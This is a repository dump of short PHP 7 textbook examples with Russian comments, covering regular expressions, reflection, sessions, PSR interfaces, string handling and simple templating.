--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/grab.cur


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/hand.cur:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/hand.cur


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/iviewer.rotate_left.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/iviewer.rotate_left.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/iviewer.rotate_right.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/iviewer.rotate_right.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_fit.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_fit.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_in.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_in.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_out.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_out.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_zero.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/phpdocs/phpdocs/docs/images/iviewer/iviewer.zoom_zero.png


--------------------------------------------------------------------------------
/phpdocs/phpdocs/docs/phpdoc-cache-2e/phpdoc-cache-settings.dat:
--------------------------------------------------------------------------------
1 | O:51:"phpDocumentor\Descriptor\ProjectDescriptor\Settings":2:{s:13:"*isModified";b:0;s:13:"*visibility";i:7;}


--------------------------------------------------------------------------------
/preg/email.php:
--------------------------------------------------------------------------------
 1 | <?php ## "Активизация" адесов E-mail.
 2 |   $text = "Адреса: user-first@mail.ru, second.user@mail.ru.";
 3 |   $html = preg_replace(
 4 |     '{
 5 |       [\w-.]+             # имя ящика
 6 |       @
 7 |       [\w-]+(\.[\w-]+)*   # имя хоста
 8 |     }xs',
 9 |     '<a href="mailto:$0">$0</a>',
10 |     $text
11 |   );
12 |   echo $html;
13 | ?>


--------------------------------------------------------------------------------
/preg/ex01.php:
--------------------------------------------------------------------------------
1 | <?php ## Пример первый.
2 |   // Проверить, что в строке есть число (одна или более цифра).
3 |   preg_match('/(\d+)/s', "article_123.html", $matches);
4 |   // Совпадение (подвыражение в скобках) окажется в $matches[1].
5 |   echo $matches[1]; // выводит 123
6 | ?>


--------------------------------------------------------------------------------
/preg/ex02.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример второй.
 2 |   // Найти в тексте адрес E-mail. \S означает "не пробел", а [a-z0-9.]+ -
 3 |   // "любое число букв, цифр или точек". Модификатор 'i' после '/'
 4 |   // заставляет PHP не учитывать регистр букв при поиске совпадений.
 5 |   // Модификатор 's', стоящий рядом с 'i', говорит, что мы работаем
 6 |   // в "однострочном режиме" (см. ниже в этой главе).
 7 |   preg_match('/(\S+)@([a-z0-9.]+)/is', "Привет от somebody@mail.ru!", $m);
 8 |   // Имя хоста будет в $m[2], а имя ящика (до @) - в $m[1].
 9 |   echo "В тексте найдено: ящик - $m[1], хост - $m[2]";
10 | ?>


--------------------------------------------------------------------------------
/preg/ex03.php:
--------------------------------------------------------------------------------
 1 | <?php ## Преобразования e-mail в HTML-ссылку.
 2 |   $text = "Привет от somebody@mail.ru, а также от other@mail.ru!";
 3 |   $html = preg_replace(
 4 |     '/(\S+)@([a-z0-9.]+)/is',     // найти все E-mail
 5 |     '<a href="mailto:$0">$0</a>', // заменить их по шаблону
 6 |     $text                         // искать в $text
 7 |   );
 8 |   echo $html;
 9 | ?>
10 | 


--------------------------------------------------------------------------------
/preg/ex04.php:
--------------------------------------------------------------------------------
 1 | <?php ## Простейший разбор даты.
 2 |   $str = " 15-16/2000       "; // к примеру
 3 |   $re = '{
 4 |     ^\s*(                  # начало строки
 5 |       (\d+)                  # день
 6 |         \s* [[:punct:]] \s*  # разделитель
 7 |       (\d+)                  # месяц
 8 |         \s* [[:punct:]] \s*  # разделитель
 9 |       (\d+)                  # год
10 |     )\s*$                  # конец строки
11 |   }xs';
12 |   // Разбиваем строку на куски при помощи preg_match().
13 |   preg_match($re, $str, $matches) or die("Not a date: $str");
14 |   // Теперь разбираемся с карманами.
15 |   echo "Дата без пробелов: '$matches[1]' <br />";
16 |   echo "День: $matches[2] <br />";
17 |   echo "Месяц: $matches[3] <br />";
18 |   echo "Год: $matches[4] <br />";
19 | ?>
20 | 


--------------------------------------------------------------------------------
/preg/ex05.php:
--------------------------------------------------------------------------------
1 | <?php ## Замена по шаблону.
2 |   $text = htmlspecialchars(file_get_contents(__FILE__));
3 |   $html = preg_replace('/(\$[a-z]\w*)/is', '<b>$1</b>', $text);
4 |   echo "<pre>$html</pre>";
5 | ?>


--------------------------------------------------------------------------------
/preg/ex06.php:
--------------------------------------------------------------------------------
1 | <?php ## Обратные ссылки.
2 |   $str = "Hello, this <b>word</b> is bold!";
3 |   $re = '|<(\w+) [^>]* > (.*?) </\1>|xs';
4 |   preg_match($re, $str, $matches) or die("Нет тэгов.");
5 |   echo htmlspecialchars("'$matches[2]' обрамлено тэгом '$matches[1]'");
6 | ?>


--------------------------------------------------------------------------------
/preg/ex07.php:
--------------------------------------------------------------------------------
1 | <?php ## Игнорирование карманов.
2 |   $str = "2015-12-15";
3 |   $re = '|^(?:\d{4})-(?:\d{2})-(\d{2})$|';
4 |   preg_match($re, $str, $matches) or die("Соответствие не найдено");
5 |   echo htmlspecialchars("День: ".$matches[1]);
6 | ?>


--------------------------------------------------------------------------------
/preg/ex08.php:
--------------------------------------------------------------------------------
1 | <?php ## Именование карманов.
2 |   $str = "2015-12-15";
3 |   $re = "|^(?<year>\d{4})-(?<month>\d{2})-(?'day'\d{2})$|";
4 |   preg_match($re, $str, $matches) or die("Соответствие не найдено");
5 |   echo "День: "  . $matches['day']   . "<br />";
6 |   echo "Месяц: " . $matches['month'] . "<br />";
7 |   echo "Год: "   . $matches['year']  . "<br />";
8 | ?>


--------------------------------------------------------------------------------
/preg/ex09.php:
--------------------------------------------------------------------------------
1 | <?php ## "Жадные" квантификаторы.
2 |   $str = "Hello, this <b>word</b> is <b>bold</b>!";
3 |   $re = '|<(\w+) [^>]* > (.*) </\1>|xs';
4 |   preg_match($re, $str, $matches) or die("Нет тэгов.");
5 |   echo htmlspecialchars("'$matches[2]' обрамлено тэгом '$matches[1]'");
6 | ?>
7 | 


--------------------------------------------------------------------------------
/preg/ex10.php:
--------------------------------------------------------------------------------
 1 | <?php ## Сравнение "жадных" и "ленивых" квантификаторов.
 2 |   $str = '[b]жирный текст [b]а тут - еще жирнее[/b] вернулись[/b]';
 3 |   $to  = '<b>$1</b>';
 4 |   $re1 = '|\[b\] (.*)  \[/b\]|ixs';
 5 |   $re2 = '|\[b\] (.*?) \[/b\]|ixs';
 6 |   $result = preg_replace($re1, $to, $str);
 7 |   echo "Жадная версия: ".htmlspecialchars($result)."<br />";
 8 |   $result = preg_replace($re2, $to, $str);
 9 |   echo "Ленивая версия: ".htmlspecialchars($result)."<br />";
10 | ?>


--------------------------------------------------------------------------------
/preg/ex11.php:
--------------------------------------------------------------------------------
1 | <?php ## Многострочность.
2 |   $str = file_get_contents(__FILE__);
3 |   $str = preg_replace('/^/m', "\t", $str);
4 |   echo "<pre>".htmlspecialchars($str)."</pre>";
5 | ?>


--------------------------------------------------------------------------------
/preg/ex12.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование PREG_OFFSET_CAPTURE.
2 |   $st = '<b>жирный текст</b>';
3 |   $re = '|<(\w+).*?>(.*?)</\1>|s';
4 |   preg_match($re, $st, $p, PREG_OFFSET_CAPTURE);
5 |   echo "<pre>"; print_r($p); echo "</pre>";
6 | ?>
7 | 


--------------------------------------------------------------------------------
/preg/grep.php:
--------------------------------------------------------------------------------
1 | <?php ## Применение preg_grep().
2 |   foreach (preg_grep('/^ex\d/s', glob("*")) as $fn) 
3 |     echo "Файл примера: $fn<br />";
4 | ?>


--------------------------------------------------------------------------------
/preg/hsc.php:
--------------------------------------------------------------------------------
 1 | <?php ## Модель скрипта, принимающего текст от пользователя.
 2 |   if (@$_REQUEST['text']) 
 3 |     echo htmlspecialchars($_REQUEST['text'])."<hr />";
 4 | ?>
 5 | <form action="<?=$_SERVER['SCRIPT_NAME']?>" method="POST">
 6 | <textarea name="text" cols="60" rows="10">
 7 | <?=@htmlspecialchars($_REQUEST['text'])?>
 8 | </textarea><br />
 9 | <input type="submit">
10 | </form>


--------------------------------------------------------------------------------
/preg/match_all.php:
--------------------------------------------------------------------------------
 1 | <?php ## Различные флаги preg_match_all().
 2 |   header("Content-type: text/plain");
 3 |   $flags = [
 4 |     "PREG_PATTERN_ORDER",
 5 |     "PREG_SET_ORDER",
 6 |     "PREG_SET_ORDER|PREG_OFFSET_CAPTURE",
 7 |   ];
 8 |   $re   = '|<(\w+).*?>(.*?)</\1>|s';
 9 |   $text = "<b>текст</b>  и еще <i>другой текст</i>";
10 |   echo "Строка: $text\n";
11 |   echo "Выражение: $re\n\n";
12 |   foreach ($flags as $name) {
13 |     preg_match_all($re, $text, $mathces, eval("return $name;"));
14 |     echo "Флаг $name:\n";
15 |     print_r($mathces);
16 |     echo "\n";
17 |   }
18 | ?>


--------------------------------------------------------------------------------
/preg/replace_callback.php:
--------------------------------------------------------------------------------
 1 | <?php ## Функция preg_replace_callback() в действии.
 2 |   $str = '<hTmL><bOdY style="background: white;">Hello world!</bOdY></html>';
 3 | 
 4 |   $str = preg_replace_callback(
 5 |     '{(?<btag></?)(?<content>\w+)(?<etag>.*?>)}s',
 6 |     function ($m) { return $m['btag'].strtoupper($m['content']).$m['etag']; },
 7 |     $str);
 8 | 
 9 |   echo htmlspecialchars($str);
10 | ?>
11 | 


--------------------------------------------------------------------------------
/preg/replace_callback_array.php:
--------------------------------------------------------------------------------
 1 | <?php ## Функция preg_replace_callback_array().
 2 |   $str = '<hTmL><bOdY>Hello world!</bOdY></html>';
 3 | 
 4 |   $str = preg_replace_callback_array(
 5 |     [
 6 |       '{(?<btag></?)(?<content>\w+)(?<etag>.*?>)}s' => function($m) {
 7 |         return $m['btag'].strtoupper($m['content']).$m['etag'];
 8 |       },
 9 |       '{(?<=>)([^<>]+?)(?=<)}s' => function($m){ return "<strong>$m[1]</strong>"; }
10 |     ],
11 |     $str);
12 | 
13 |   echo htmlspecialchars($str);
14 | ?>


--------------------------------------------------------------------------------
/redirect/book.txt:
--------------------------------------------------------------------------------
 1 | eeee
 2 | ggg
 3 | eeee
 4 | sssssssss
 5 | xxxxxx
 6 | ddd
 7 | ffff
 8 | уууууууу
 9 | ккккккк
10 | 


--------------------------------------------------------------------------------
/redirect/internal.php:
--------------------------------------------------------------------------------
1 | <?php ## Внутренний редирект (только в CGI-версии PHP!)
2 |   // Вначале форсируем внутренний редирект.
3 |   header("Status: 200 OK");
4 |   // Получаем URI-директорию текущего скрипта.
5 |   $dir = dirname($_SERVER['SCRIPT_NAME']);
6 |   if ($dir == '\\') $dir = '';
7 |   // Осуществляем переадресацию по абсолютному (!) URI.  
8 |   header("Location: $dir/result.php");
9 |   exit();


--------------------------------------------------------------------------------
/redirect/result.php:
--------------------------------------------------------------------------------
1 | Это текст файла <?=__FILE__?>.


--------------------------------------------------------------------------------
/reflect/impl_meth.php:
--------------------------------------------------------------------------------
1 | <?php ## Неявный вызов метода.
2 |   require_once "lib/Complex2.php";
3 |   $addMethod = "add";
4 |   $a = new MathComplex2(101, 303);
5 |   $b = new MathComplex2(0, 6);
6 |   // Вызываем метод add() неявным способом.
7 |   call_user_func([$a, $addMethod], $b);
8 |   echo $a; // (101, 309)
9 | ?>


--------------------------------------------------------------------------------
/reflect/inst.php:
--------------------------------------------------------------------------------
1 | <?php ## Создание объекта неизвестного класса.
2 |   require_once "lib/Complex2.php";
3 |   // Пусть имя класса хранится в переменной $className.
4 |   $className = "MathComplex2";
5 |   // Создаем новый объект.
6 |   $obj = new $className(6, 1);
7 |   echo "Созданный объект: $obj";
8 | ?>


--------------------------------------------------------------------------------
/reflect/lib/Complex2.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример класса с конструктором.
 2 |   class MathComplex2 {
 3 |     public $re, $im;
 4 |     // Инициализация нового объекта.
 5 |     function __construct($re, $im) {
 6 |       $this->re = $re;
 7 |       $this->im = $im;
 8 |     }
 9 |     // Добавляет к текущему комплексному числу другое.
10 |     function add(MathComplex2 $y) {
11 |       $this->re += $y->re;
12 |       $this->im += $y->im;    
13 |     }
14 |     // Преобразует число в строку (например, для вывода).
15 |     function __toString() {
16 |       return "({$this->re}, {$this->im})";
17 |     }
18 |   }
19 | ?>


--------------------------------------------------------------------------------
/reflect/rclass.php:
--------------------------------------------------------------------------------
1 | <?php ## Отражение класса.
2 |   $cls = new ReflectionClass('ReflectionException');
3 |   echo "<pre>", $cls, "</pre>";
4 | ?>


--------------------------------------------------------------------------------
/reflect/rdoc.php:
--------------------------------------------------------------------------------
1 | <?php ## Документирование.
2 | /**
3 |  * Документация для следующей ниже
4 |  * функции (после "/**" не должно быть пробелов!)
5 |  */
6 |   function func() {}
7 |   $obj = new ReflectionFunction("func");
8 |   echo "<pre>".$obj->getDocComment()."</pre>";
9 | ?>


--------------------------------------------------------------------------------
/reflect/rexcept.php:
--------------------------------------------------------------------------------
1 | <?php ## Перехват исключения отражения.
2 |   try {
3 |     $obj = new ReflectionFunction("spoon");
4 |   } catch (ReflectionException $e) {
5 |     echo "Исключение: ", $e->getMessage();
6 |   }
7 | ?>


--------------------------------------------------------------------------------
/reflect/rext.php:
--------------------------------------------------------------------------------
1 | <?php ## Использование отражения библиотеки.
2 |   $consts = [];
3 |   foreach (get_loaded_extensions() as $name) {
4 |     $ext = new ReflectionExtension($name);
5 |     $consts = array_merge($consts, $ext->getConstants());
6 |   }
7 |   echo "<pre>".var_export($consts, true)."</pre>";
8 | ?>


--------------------------------------------------------------------------------
/reflect/rfunc.php:
--------------------------------------------------------------------------------
1 | <?php ## Отражение функции.
2 |   function throughTheDoor($which) { echo "(get through the $which door)"; }
3 |   $func = new ReflectionFunction('throughTheDoor');
4 |   $func->invoke("left");
5 | ?>


--------------------------------------------------------------------------------
/session/count.php:
--------------------------------------------------------------------------------
 1 | <?php ## Пример работы с сессиями.
 2 |   session_start();
 3 |   // Если на сайт только-только зашли, обнуляем счетчик.
 4 |   if (!isset($_SESSION['count'])) $_SESSION['count'] = 0;
 5 |   // Увеличиваем счетчик в сессии.
 6 |   $_SESSION['count'] = $_SESSION['count'] + 1;
 7 | ?>
 8 | <h2>Счетчик</h2>
 9 | В текущей сессии работы с браузером Вы открыли эту страницу
10 | <?= $_SESSION['count'] ?> раз(а).<br />
11 | Закройте браузер, чтобы обнулить счетчик.<br />
12 | <a href="<?= $_SERVER['SCRIPT_NAME'] ?>" target="_blank">Открыть дочернее окно браузера</a>.


--------------------------------------------------------------------------------
/standarts/codesniffer/composer.json:
--------------------------------------------------------------------------------
1 | {
2 |     "require": {
3 |         "squizlabs/php_codesniffer": "*"
4 |     }
5 | }


--------------------------------------------------------------------------------
/standarts/indent.php:
--------------------------------------------------------------------------------
 1 | <?php ## Отступы - 4 пробела
 2 |     function tabber($spaces, $echo, ...$planets)
 3 |     {
 4 |         // Подготавливаем аргументы для myecho()
 5 |         $new = [];
 6 |         foreach ($planets as $planet)
 7 |         {
 8 |             $new[] = str_repeat("&nbsp;", $spaces).$planet;
 9 |         }
10 |         // Пользовательский вывод задается из вне
11 |         $echo(...$new);
12 |     }
13 | 


--------------------------------------------------------------------------------
/standarts/psr/Cache/CacheItemInterface.php:
--------------------------------------------------------------------------------
 1 | <?php ## Интерфейс CacheItemInterface.
 2 |   namespace Psr\Cache;
 3 | 
 4 |   interface CacheItemInterface
 5 |   {
 6 |     public function getKey();
 7 |     public function get();
 8 |     public function isHit();
 9 |     public function set($value);
10 |     public function expiresAt($expiration);
11 |     public function expiresAfter($time);
12 |   }
13 | 


--------------------------------------------------------------------------------
/standarts/psr/Cache/CacheItemPoolInterface.php:
--------------------------------------------------------------------------------
 1 | <?php ## Интерфейс CacheItemPoolInterface.
 2 |   namespace Psr\Cache;
 3 | 
 4 |   interface CacheItemPoolInterface
 5 |   {
 6 |     public function getItem($key);
 7 |     public function getItems(array $keys = []);
 8 |     public function hasItem($key);
 9 |     public function clear();
10 |     public function deleteItem($key);
11 |     public function deleteItems(array $keys);
12 |     public function save(CacheItemInterface $item);
13 |     public function saveDeferred(CacheItemInterface $item);
14 |     public function commit();
15 |   }
16 | 


--------------------------------------------------------------------------------
/standarts/psr/Http/Message/MessageInterface.php:
--------------------------------------------------------------------------------
 1 | <?php ## Базовый интерфейс MessageInterface.
 2 |   namespace Psr\Http\Message;
 3 | 
 4 |   interface MessageInterface
 5 |   {
 6 |     public function getProtocolVersion();
 7 |     public function withProtocolVersion($version);
 8 |     public function getHeaders();
 9 |     public function hasHeader($name);
10 |     public function getHeader($name);
11 |     public function getHeaderLine($name);
12 |     public function withHeader($name, $value);
13 |     public function withAddedHeader($name, $value);
14 |     public function withoutHeader($name);
15 |     public function getBody();
16 |     public function withBody(StreamInterface $body);
17 | }
18 | 


--------------------------------------------------------------------------------
/standarts/psr/Http/Message/RequestInterface.php:
--------------------------------------------------------------------------------
 1 | <?php ## Запрос клиента RequestInterface.
 2 |   namespace Psr\Http\Message;
 3 | 
 4 |   interface RequestInterface extends MessageInterface
 5 |   {
 6 |     public function getRequestTarget();
 7 |     public function withRequestTarget($requestTarget);
 8 |     public function getMethod();
 9 |     public function withMethod($method);
10 |     public function getUri();
11 |     public function withUri(UriInterface $uri, $preserveHost = false);
12 |   }
13 | 


--------------------------------------------------------------------------------
/standarts/psr/Http/Message/ResponseInterface.php:
--------------------------------------------------------------------------------
1 | <?php ## Ответ сервера MessageInterface.
2 |   namespace Psr\Http\Message;
3 | 
4 |   interface ResponseInterface extends MessageInterface
5 |   {
6 |     public function getStatusCode();
7 |     public function withStatus($code, $reasonPhrase = '');
8 |     public function getReasonPhrase();
9 |   }


--------------------------------------------------------------------------------
/standarts/psr/Http/Message/StreamInterface.php:
--------------------------------------------------------------------------------
 1 | <?php ## Тело сообщения
 2 |   namespace Psr\Http\Message;
 3 | 
 4 |   interface StreamInterface
 5 |   {
 6 |     public function __toString();
 7 |     public function close();
 8 |     public function detach();
 9 |     public function getSize();
10 |     public function tell();
11 |     public function eof();
12 |     public function isSeekable();
13 |     public function seek($offset, $whence = SEEK_SET);
14 |     public function rewind();
15 |     public function isWritable();
16 |     public function write($string);
17 |     public function isReadable();
18 |     public function read($length);
19 |     public function getContents();
20 |     public function getMetadata($key = null);
21 |   }


--------------------------------------------------------------------------------
/standarts/psr/Http/Message/UploadedFileInterface.php:
--------------------------------------------------------------------------------
 1 | <?php ## Загрузка файлов UploadedFileInterface.
 2 |   namespace Psr\Http\Message;
 3 | 
 4 |   interface UploadedFileInterface
 5 |   {
 6 |     public function getStream();
 7 |     public function moveTo($targetPath);
 8 |     public function getSize();
 9 |     public function getError();
10 |     public function getClientFilename();
11 |     public function getClientMediaType();
12 |   }
13 | 


--------------------------------------------------------------------------------
/standarts/psr/Log/LoggerInterface.php:
--------------------------------------------------------------------------------
 1 | <?php
 2 |   namespace Psr\Log;
 3 |  
 4 |   interface LoggerInterface
 5 |   {
 6 |     public function emergency($message, array $context = []);
 7 |     public function alert($message, array $context = []);
 8 |     public function critical($message, array $context = []);
 9 |     public function error($message, array $context = []);
10 |     public function warning($message, array $context = []);
11 |     public function notice($message, array $context = []);
12 |     public function info($message, array $context = []);
13 |     public function debug($message, array $context = []);
14 |     public function log($level, $message, array $context = []);
15 |   }
16 | 


--------------------------------------------------------------------------------
/standarts/psr1right.php:
--------------------------------------------------------------------------------
 1 | <?php ## Объявления функций в отдельном файле
 2 |   function dump($str)
 3 |   {
 4 |     echo "<pre>";
 5 |     print_r($str);
 6 |     echo "</pre>";
 7 |   }
 8 |   // PRS-1 допускает условное объявление
 9 |   if(!function_exists('get_magic_quotes_gpc'))
10 |   {
11 |     function get_magic_quotes_gpc()
12 |     {
13 |       return false;
14 |     }
15 |   }
16 | ?>


--------------------------------------------------------------------------------
/standarts/psr1wrong.php:
--------------------------------------------------------------------------------
 1 | <?php ## Нарушение стандарта PRS-1
 2 |   // Подключаем ранее объявленные функции
 3 |   require_once("psr1right.php");
 4 | 
 5 |   echo title("PRS-1");
 6 |   echo dump("Тестовое сообщение");
 7 | 
 8 |   // Нарушение PRS-1, нельзя смешивать вывод и объявления функций
 9 |   function title($str)
10 |   {
11 |     echo "<h1>";
12 |     print_r($str);
13 |     echo "</h1>";
14 |   }
15 | ?>
16 | 


--------------------------------------------------------------------------------
/standarts/psr2.php:
--------------------------------------------------------------------------------
1 | <?php ## Управляющие структуры
2 |   if (isset($_GET['number'])) {
3 |     for ($i = 0; $i < $_GET['number']; $i++) {
4 |       echo "PSR<br />";
5 |     }
6 |   } else {
7 |     echo "Не передан GET-параметр number<br />";
8 |   }
9 | 


--------------------------------------------------------------------------------
/standarts/server.php:
--------------------------------------------------------------------------------
1 | <?php ## Содержимое $_SERVER
2 |   echo "<pre>";
3 |   print_r($_SERVER);
4 | 


--------------------------------------------------------------------------------
/string/ascii.php:
--------------------------------------------------------------------------------
1 | <?php ## Кодировка ASCII.
2 |   for($code = 32; $code < 128; $code++) {
3 |     echo "code ($code) = ".chr($code)."<br />";
4 |   }
5 | ?>


--------------------------------------------------------------------------------
/string/compare.php:
--------------------------------------------------------------------------------
 1 | <?php ## Особенности операторов сравнения применительно к строкам.
 2 |   $one = 1;   // Число один.
 3 |   $zero = 0;  // Присваиваем число нуль.
 4 |   if ($one == "") echo 1;    // Очевидно, не равно - не выводит 1.
 5 |   if ($zero == "") echo 2;   //* Внимание! Вопреки ожиданиям печатает 2!
 6 |   if ("" == $zero) echo 3;   //* И это тоже не поможет - печатает!..
 7 |   if ("$zero" == "") echo 4; // Так правильно.
 8 |   if (strval($zero) == "") echo 5; // Так тоже правильно - не выводит 5.
 9 |   if ($zero === "") echo 6;  // Лучший способ
10 | ?>


--------------------------------------------------------------------------------
/string/htmlspecialchars.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Использование htmlspecialchars()</title>
 5 | </head>
 6 | <body>
 7 |   <?php
 8 |     $example = <<<EXAMPLE
 9 | <?php
10 |   echo "Hello world!";
11 | ?>
12 | EXAMPLE;
13 |     echo htmlspecialchars($example);
14 |   ?>
15 | </body>
16 | </html>
17 | 


--------------------------------------------------------------------------------
/string/replace.php:
--------------------------------------------------------------------------------
1 | <?php ## Различия между strtr() и str_replace().
2 |   $text = "matrix has you";
3 |   $repl = ["matrix" => "you", "you" => "matrix"];
4 |   echo "str_replace(): ".
5 |     str_replace(array_keys($repl), array_values($repl), $text)."<br />";
6 |   echo "strtr(): ".
7 |     strtr($text, $repl);
8 | ?>


--------------------------------------------------------------------------------
/string/str_replace.php:
--------------------------------------------------------------------------------
 1 | <?php ## Множественная замена в строке.
 2 |   $from = ["{TITLE}", "{BODY}"];
 3 |   $to   = [
 4 |     "Философия", 
 5 |     "Представляется логичным, что сомнение представляет онтологический смысл жизни. Отношение к современности поразительно."
 6 |   ];
 7 |   $template =<<<MARKER
 8 | <!DOCTYPE html>
 9 | <html lang='ru'>
10 | <head>
11 |   <title>{TITLE}</title>
12 |   <meta charset='utf-8'>
13 | </head>
14 | <body>{BODY}</body>
15 | </html>
16 | MARKER;
17 |   echo str_replace($from, $to, $template);
18 | ?>
19 | 


--------------------------------------------------------------------------------
/string/strip_tags.php:
--------------------------------------------------------------------------------
 1 | <?php ## Удаление HTML-тегов из строки.
 2 |   $st =<<<HTML
 3 |     <b>Жирный текст</b>
 4 |     <tt>Моноширинный текст</tt>
 5 |     <a href='http://www.dklab.ru'>Ссылка</a>
 6 |     a<x && y>d
 7 | HTML;
 8 |   echo "Исходный текст: $st";
 9 |   echo "<hr>После удаления тэгов: ".strip_tags($st, "<tt><b>");
10 | ?>


--------------------------------------------------------------------------------
/string/strlen.php:
--------------------------------------------------------------------------------
1 | <?php ## Подсчет количества символов в строке
2 |   $str = "Привет, мир!";
3 |   echo "В строке &quot;$str&quot; ".strlen($str)." байт<br />"; // 21
4 |   echo "В строке &quot;$str&quot; ".mb_strlen($str)." символов<br />"; // 12
5 | ?>
6 | 


--------------------------------------------------------------------------------
/string/translit.php:
--------------------------------------------------------------------------------
 1 | <?php ## Транслитерация строк.
 2 |   function transliterate($st) {
 3 |     $st = strtr($st, 
 4 |       "абвгдежзийклмнопрстуфыэАБВГДЕЖЗИЙКЛМНОПРСТУФЫЭ",
 5 |       "abvgdegziyklmnoprstufyeABVGDEGZIYKLMNOPRSTUFYE"
 6 |     );
 7 |     $st = strtr($st, array(
 8 |       'ё'=>"yo",    'х'=>"h",  'ц'=>"ts",  'ч'=>"ch", 'ш'=>"sh",
 9 |       'щ'=>"shch",  'ъ'=>'',   'ь'=>'',    'ю'=>"yu", 'я'=>"ya",
10 |       'Ё'=>"Yo",    'Х'=>"H",  'Ц'=>"Ts",  'Ч'=>"Ch", 'Ш'=>"Sh",
11 |       'Щ'=>"Shch",  'Ъ'=>'',   'Ь'=>'',    'Ю'=>"Yu", 'Я'=>"Ya",
12 |     ));
13 |     return $st;
14 |   }
15 |   echo transliterate("У попа была собака, он ее любил.");
16 | ?>


--------------------------------------------------------------------------------
/string/utf8.php:
--------------------------------------------------------------------------------
1 | <?php ## Вывод UTF-8 символа русской буквы А.
2 |   echo "\u{0410}";
3 | ?>


--------------------------------------------------------------------------------
/string/utf8crash.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang="ru">
 3 | <head>
 4 |   <title>Проблемы с обработкой UTF-8 в PHP</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 | <?php
 9 |   $str = "Hello world";
10 |   echo "{$str[2]}<br />";
11 |   $str = "Привет мир!";
12 |   echo "{$str[2]}<br />";
13 | ?>
14 | </body>
15 | </html>


--------------------------------------------------------------------------------
/template/1/news.php:
--------------------------------------------------------------------------------
1 | <?php ## Первый способ: смешение кода и шаблона.
2 |   echo "<html><body>\n";
3 |   echo "<h1>Последние новости:</h1>";
4 |   $f = fopen("../news.txt", "r");
5 |   for ($i=1; !feof($f) && $i <= 5; $i++) {
6 |     echo "<li>$i-я новость: ".fgets($f, 1024);
7 |   }
8 |   echo "</body></html>\n";
9 | 


--------------------------------------------------------------------------------
/template/2/news.php:
--------------------------------------------------------------------------------
1 | <!-- Второй способ: вставки кода. -->
2 | <html><body>
3 | <h1>Последние новости:</h1>
4 | <?php $f = fopen("../news.txt", "r") ?>
5 | <?php for ($i = 1; !feof($f) && $i <= 5; $i++) {?>
6 |   <li><?=$i?>-я новость: <?=fgets($f, 1024)?>
7 | <?php } ?>
8 | </body></html>
9 | 


--------------------------------------------------------------------------------
/template/comp/component_gbook_show.php:
--------------------------------------------------------------------------------
1 | <?php ## Компонентный подход. Компонент показа гостевой книги.
2 |   if(!defined("GBook")) {
3 |     define("GBook", "gbook.dat"); // имя файла с данными гостевой книги
4 |   }
5 |   require_once "model.php";     // подключаем Модель (ядро)
6 |   // Загрузка гостевой книги.
7 |   $data = loadBook(GBook);
8 |   // Переменная $data теперь доступна вызывающему Шаблону (см. view.php).


--------------------------------------------------------------------------------
/template/comp/component_news_show.php:
--------------------------------------------------------------------------------
 1 | <?php ## Компонентный подход. Компонент показа новостей.
 2 |   // Подгружаем данные 5 новостей с диска. Вообще говоря, этой работой
 3 |   // должна заниматься Модель новостей, однако для экономии места
 4 |   // мы размещаем код непосредственно в Компоненте (ибо он очень прост).
 5 |   $data = [];
 6 |   $f = fopen("../news.txt", "r");
 7 |   for ($i = 1; !feof($f) && $i <= 5; $i++) {
 8 |     $n = trim(fgets($f, 1024));
 9 |     if (!$n) continue;
10 |     $data[] = $n;
11 |   }
12 | 


--------------------------------------------------------------------------------
/template/comp/gbook.dat:
--------------------------------------------------------------------------------
1 | a:3:{i:1088896158;a:2:{s:4:"name";s:0:"";s:4:"text";s:3:"fff";}i:1088895467;a:2:{s:4:"name";s:3:"ddd";s:4:"text";s:0:"";}i:1088895465;a:2:{s:4:"name";s:4:"ssss";s:4:"text";s:0:"";}}


--------------------------------------------------------------------------------
/template/comp/model.php:
--------------------------------------------------------------------------------
1 | <?php ## Компонентный подход. Модель (ядро) гостевой книги.
2 | require_once "../mvc/model.php";


--------------------------------------------------------------------------------
/template/mvc/gbook.dat:
--------------------------------------------------------------------------------
